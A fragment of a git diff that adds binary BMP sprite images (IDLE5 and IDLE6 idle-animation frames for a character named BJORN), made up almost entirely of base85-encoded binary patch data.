zw$jk!Ct=c(Q3gBY{L+S+rlI;*GtJ#|F9(-edS+A7OU>mC^d;nBgtT7vuAL3-+9HbF zcWF`rgR{K@V;zwrFT3}5c2?(SCtp2J5AafE6-4S8Aao5BnD{G`qsCv>tuHU`Zf$ke z)<@a6=7&Z^x+7U`lG^K-zpQJu(K6w>No}dDElJCxC8Hha7Zn~97vL4~*vv^wUPG9g zo9`}@ou*Mk`Ez`q&qv+!6!`MrWyN25e01FZsyos%K#fy^?+z0$6|*2Cmmm|TFbg*y z9kVb6JJ{a&Iip5;2l3N=b8S5o;m<})X{)MRoRC@&neZ$np(Y`0y6>fjh28y&*z6jsLpqf$wu9%C^@~oqQv^4nz4{vri;g5bxCVRdZL}17EBzW zXY%S-g*O$)YTb zlfES%DI@1issKB8l!+bFcXx&FaUd-ns)|eJXWyP(4s@TDf7`+@XZ@x3KkGSwm>3*o zBc#etOb&8Eh%&<#X0hA259zGk$BN(l-+w*pM-;3hf^sO@M~+=sjE1WqB^w<6%%3^` zCfvUp>&M7QF{vWZPGw$zN{J*g4?+SSCX8&P5HyHm$#sAp#-^iHfQ2t}rbA$13RQ&&C G*Z&2~VJUC` literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/BJORN/status/IDLE/IDLE5.bmp b/resources/default_config/characters/BJORN/status/IDLE/IDLE5.bmp new file mode 100644 index 0000000000000000000000000000000000000000..07383b86e1946c3e1785cbfe4168b3a4cac24556 GIT binary patch literal 18462 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 literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/BJORN/status/IDLE/IDLE6.bmp b/resources/default_config/characters/BJORN/status/IDLE/IDLE6.bmp new file mode 100644 index 0000000000000000000000000000000000000000..5183289d9edf6a7a016e569728aa123910e6d74f GIT binary patch literal 18462 zcmd^`2Urxz*09;{e)rzJo7L6TRYW8Sl0hU5IcFs23?fN_WQGYaL(WN&oQIr)O3q3e zat?}sAW^c=Uk&4O-Jq-P-ta$vKZmxu`}CQ5>zq1OUEK=FUX&m?+Bm@e3iy+I^Y{4;zqkt=0#kqHMnVGpf3y85tcQot;Q@5G zcewxRV0-EH#?1c8*xt*5-6j0)i>}>;$Gh|GyK`+jbFI72n}O`iHgC@!?Vq>oJa65Z zYulY`-<^N5v(UA>h$q~*I`(?wDKG^L0<%ZP5C6DJK9%+GU~hkWd1qyO`+3{ORMo~v z-o`-sT3^x{{{C7|%xZTuLAs(>Izc&Rwdd|i_r2BbyQ_r#z16Ot$|-{_=GheJ)k`jR`3bn($;Y5WKH;BdEiQS z!tO{K;ZhGlXL~T^^;pJocYJ$+cUq98*KK7xLov6T;t%s8K)3l=+>d94Ko44<-k2y| z>rY+njbF#duJ_(w$HxJ`0ynJpCT#R20uQBo-x9lYm6w8%_X3Tpmh?<>^!8}#<^aLd zn?nQ_0@)Zy+8IslFAusUA;5i}hKHP9mYT6L+If38b!#vMKz9^jJT2q}XvvvQoZ>un zPU0Me;sqM)Pq-}1?z)^{tBS? z$C9&rtvSeOBkreFbPvR3KM=X5s?80XZH`&)j+<|bdDav?+Y~+5b{DvLusledhD}k} zEWNCuqO%u`3AuKbqA?W(uG(pfagm;vC8hL+iRSAVG}zd5y56Z&Hpt+(fo2ouzCt@W zG4^j^efviM_QBrf!OrU5=ECmk`0`}C5(l@_ow&m41FTn%vsJme2#V@|Nu_C-RG05GJRi`8$=qT&RmprN3W)X~UkWmZv($H7RyF$;&jU>e^k7c7s^g zp#b;6Ah(e)_m*20an!;&JX%7h$cqYdk6QghgZWea`Znt?%H6G)2LlP#mDy5 z6|Qfo1wK-2ABqmh&qdqDkI+wIxe{@9I`a*Qj{!`6ikwoOwv>= zvNUY+bR3FTxm1{7>dZnwROopGNw0{JQx%vPmg%ZZ7AJKkhsNEI_Y#wJmDWM%y9QYK z1zPwAXu(ZcWLe0_7Z#qsi|p6u|2$S;yYER4KP{`s1tvXqF%^2?JazyiP00-4q$rpr zFEfdgGm4VY!_H9g|3D2gm-uA{2?|C@3Py>`j8c@$pcxdda7a?K@L!_H*Vi5m@y>L0 zaFo*vun#WDXl;HtQJdS_65ozecg8B%r)m2$e@|YJlL3Ag`1aRizdrNlv2JZ{8A_`O zo}<%d5dv6%PnwcNh6)I)95ox*OHwe4US#0-n(W$F6l`CRbACrIO2$A?13J{KU@t`l zaG513nQ2d)LQ6|KiA(z4@ojIJ?H}B%FX^w$Xv>d!kYtvv!vwTo{RQP9U5Kjm{{r@ zf0-Oz86Q{@ADSNnPfoFokJAkdk#zSJcb4Jcn|nUo}m^!vEkTG?CJ71xE2#eUlayEfa+dv@%M5?}QJR7erR9dv^~CBUJyab9 zeq>|(`~u6Dmw*EI85$`XR!M?uSvk*=39}1UXZPl0G<8ld$HiA==QsAxZ8Wsa)HP1t z(Sb)9hGv*2WavdHGl&%B;eM0s*C+n~>-~TT7&S-p%xqQn?j6f9juV{Ho-*F-;xVoyvlL%GRxPb%->(~GmWf%H2(0(*u9AS*u;{Av`QrMUUpVXZNpTc%l!&O zRjR=~D-KsB2c_aqV?Bg+w|5QYR6P+vU^ss?bcjXoiBPKXpQhwHO~d>-Dbqj5 z7{4H8{QSJ&1rB#LM?G#8?lX)CO;>Ln50pg!!Z#Oz$wHZ6FnVxjC0q7yXspDH9OSLI zPBSumexCmG^Q>QyQ~vdYt+sn}^V71r{`mOPuF-i%i@?mH=BSwbyOBjGyQuPjx{mP9 zNL61gQMvi~56Z@$#tK1e%WG{@KBJP zlBE&!)O5ibqOHYEtRzf8=%P)rD4%SEUmn6gALW&aGDL%uCj2_~vKClFl&h)(aPVc4 zlgbR@YV4BglDge}%N?UH;v$Q1MU9zR4O3eO71el@OIUzYTvN{QXz@a!eYOlOe|u{a zh}hrF#h=Q$yS;PshOVZBnz6ht(-)*npZ@@Q9`onqw}kcmO}rFng~iEvP`Yrmjt5fP z9i`*$1w5*cM4{7>{&`5>T%<3+EkJuDqI5jax^SR_)OPdI^Mq@-z|Jyju`7D(c?eQ- z=jXJJE$u~z=h&EfrKVS<=QrdRw^r46#zz$m^sRLlKC6U3Fkn>+_xB~R{@%#*sjR?u zkQ;`ALAv7^a2MN1(Lb?4->>=mHLqi2wuw0BL)mT<#+S@{ztd zD8F1F2%j9_U8F-4&_QUsBY>u+8|cu^H|*?XEI{&-VG{5|#pB0b4X$nk1!u;@WXGoz zp*^BQ!f>s<&$?=+>tov!jN<}Typ@F{wzoC`?633D+h_g&YjyDh`maejzrSiGq)Y!L zsS2|+Mh}V9bVX``Dtn@}+>u7!2#*9$t00uR3(6u8xDy3H36hQS#Q{P3sfrf#5>mu}ED*EbHo&8H4(=W%i4_Zf_*YwY{PRx&Pzn(mV#%I?@ zdY6W3o^~X62~l3_YHRsj*Zu+4-pAb>7ig>`jNMcnc+WDqt2%-@BDLTsEf1828&V&I z@XA0079hPdP=;P8&lIFz9@;kt$T2IxCAiil7HNz@_~sx23lW}4NF6vz(;cnt>7ZaE z!7G~@^RPCzv#oBhXKrm0g8J7tn+7NH^UE`%qEiv5`^I+BYSs*=NMpl8|23>&#tr(b z%gx*36udr$Xh3NxZsMf{M;M?z??e+FgLIE4bWNXZLeP37f&$u)0D2^E{Cect93%#Z zf+r#T^9WH5g4{70t?7o=MWCGT3NQ%TD5EN3nukYT_D(;`PR~ikVslZ>jUg_>Nyv$K zWa};CCL=?MA1^vsTD~2wzghlNzxH+Dxz92<$XS741L2C+fg^!0?IIDr*=Rik+A;{~ z4-!xg(&uPTNJfO{C9)pnCU6MC7_>w#VF>!CdV)}IAB`zZ` z!aJZb;r>jP@9M+I_1e1|b@!GF!+RX82kor1FJE=Ew*FW6^(X}dxOwrPXT#_sQM#T; zLvJLAI(_s}(B^xY2cp~)j-2{7ZVmzcNZulQi_!;B9vy<=$T0?O9gGSsv9%52V&)2T zhsWCAT6r<|dUI`|Dt4(VY_Te0=|RL|VQA+a%MNoh@gK?KVq*RUtowWWd%Jr|9AX-5 z@>o3-!WiS}nS|0sAnhVNK^*$$d$}bbF_@*1nrUh)2T$( zJTNqQxhDZ@n4ls7RzZCh`k`3VKwH%TbgWZb9iMNg?!rUJbnD1p70)FA3m4D15utx_LV?rweqaW~5@TjoMYp}?Q zUAV?ib{$4~U7p23ir#{kjDwH#n)t=*S{#b9^db^0(xLJ7zydm`*e9yWFZ!WRL=`fy z$Q?_tjPTFFT8E0zunL~1;P~;9D3g$rrYFMC=Z>+To*G<6(CFOXzK`(796bQMGd+C_ zE3v`KaRvP6n7no1V7NzXdZ3(RJ^k{0BP(N)>q0|wygee3E+IasdqH7^0ik&ox(*y? zubSz@ec?%7rdT_5#~aKt3M^Lg%w{U=a!xvKUS?Q-bh?JjO&&5g?#_SJT=E*{ zi}~4idKH2`hIMamucxgu)+dbpdrEt0b02emv`sk5J0m)!4vUJ?6j9cbR)UFIs*5oT`UXT}FwuhalGw-x2t8rQ*jLV-cwI$do#3 zJ;2nl}13px);%%3C|riW@4PjE+K3$KtjGs|4KRZg65lU~G-6>pi$tn7c)g zCpsnYer zHP#_`f07b$pX)rsEhRfUB}ard3gez+?-YLhEG)BhvY-M=OgxOa+bqH@K=;K3mhUdB z%cvLD^7J=X}Tu4Z&G`oljzq%5yiUP0n-TOso)Lk)F!GgLcqkB+FevK@@ z6ysN9bYGJyh|9$%4kpAOl-EO%_ggs5T}NUwZt6H*Wsrd|bvf`j-jP}RrvEwGDBKsuWqza7#a%u2ZFsFm*ehOnKz>S7y?af!paBq#`J z%5qsY3>~&i9Nd(Fxq2=Je%pk%dS=O}FJbqC5c%ARE zl7YHC+%kyy%JszZ=IGou--PC*>gjy^bM*a61uX|%b;FM4Mk1M`nU$THt%a(wpEK%{ zS%10_Yv;yrlFG$3*5AKCgjPsb#=mnB8h#CVdqI2 zh)pRNeGN5@AIfl8D#BEPLrW#aR4$&RvULbV1SM$b-jS8kxT$Sgnw`D7y+y3u!tA^Z z3xDy$hNReJV>xxOF7{KcKPoqYn}{8EXM4xZ*ak+)jSbEhydr3z5Ye>=4QxSn76>Ym zQ&gXwzVg=}bVL<31?4W2d>a^;II;_My*TK332>qA#h>KGA+g-KZ~zqSE#0a9cG6Hv zRfR`_^0QMke>p=<^1Y8={Ky{EJORma+sg~6d1BIG6dag4uDImXD~yO591 zJ>W>H|2b`=ZoIL!zO=BYEg&D8TspW3fyN+!E_PR4u`fNG&=IOrt#LR z&DrT^s{GQx$d$jJjY}^9tWBek6sMhnkeW2-4fsvFw`%dGNb~@4e?Kr>o=@`G*3OfT z9!WZ$k^Z4${ZC~DPdjn`k<8%b+6fvR>B#nHP~R)4c3?`7k>>}Jzu0S;uD@LAX=-yZ zb7`8G#jm^pC9?J`LIAYqCsyFyzE!BIW5nIuWqNqz#j`neeyKAgpD794Xn(#&FxwBw zusgDyxx#virX(Z(xbD9w0M>)o2L@s)Zgz0+ATTyIDMroJQqus`h|TaxtjkNwjs}+e zq)ZH-U!Wp6p)D5GI12S{9uDq8#VsA`^2&Ua%(fb4C?{+|eRtnF!Kp-f6TmM(NJHI6 zdr%;jdsm^f!aAfq+FU`8=Q4w#rg8P)*ueH-|JFfeJ0!#6L`Cu~814kg*?gUlpcDN9 zlz6zgz9CM{nT0D}grK>FMI{dLQe45Y=0~y;8z}u=68lLCEp`d&&wc=`$~@Sp@ZI#> zgS>}ObuUyiv|CU=kze26`h25r6T+`S0Jk5=20;d1LH%n40V#=a5(rROgMjaWa^uue zPIX^V({$bN;e$>nrxHrdejVcXO5&;oCCPVme><6N^JbA#MG@++-^qhURJ?=X5n5&!Cq$mUV6@6O6E>t%4Tfb zMtH<>pwB!OIqPaaY-!k}FQ20X3z49AfL+i4@2szVM=N%b{idK&h?%1>1^Ylx?=ivK ztUk9rbR^UlAZTU>da<&uAtd{USP7;lM<)0#GTyuG5p~Nk)YKuw^bShR*j`*on*}Cw znOWoO|Y*y-y+KZ*)nl;b(4zlgD2xlX$sLdvn7Zxy7SI}F9>wSRht;oUZ zo6B6fCQHr{WAEJmFc<$2*HeWXsxOR3c&O6z!gX{98}fUBg&N#YQ(k_!zqzQYk?;+) zrkS^fQK;$duv?Ctr)i%}KRxyqvH3UGUa1O5csQXJ522^KhdnbJtvxdmSNR?ll^?YV zVfVrPm1q*ori;^ZG(@DCzPPAF&v#o)#Y@8^!3}-S)w|d~dZ?yow5@QkKBuoX3tycX z;b@CCFe{4>>aEV~s7x7Xz(u(_@SkUJ(J-}^)f6~Sj|=hYtIO)BNa?M~!i9Mw^i1MW z&i(Z`aQk3G?pS+qZ$*ACCj73eSDX_9uB>k*tSm##b>**T)1wm!tUtYq+}qi8HMW+y zE;=~7_;e3?wg=h#!3X88JjkeQx#|DQI}K`CS$Re)V@K( z$9wXM!c`s<0eO1`ok$O_lBAS|!u-b%%kYg4`dc1!*OiWURFAe-0h#Hm%?u0VJI9z5 z7=to%5W2+jAR~UNr)H$BYNWkt?8&3f+LD3RN8NRm?Ny~U`MCuNiNSX~Y@{^}VKP!w 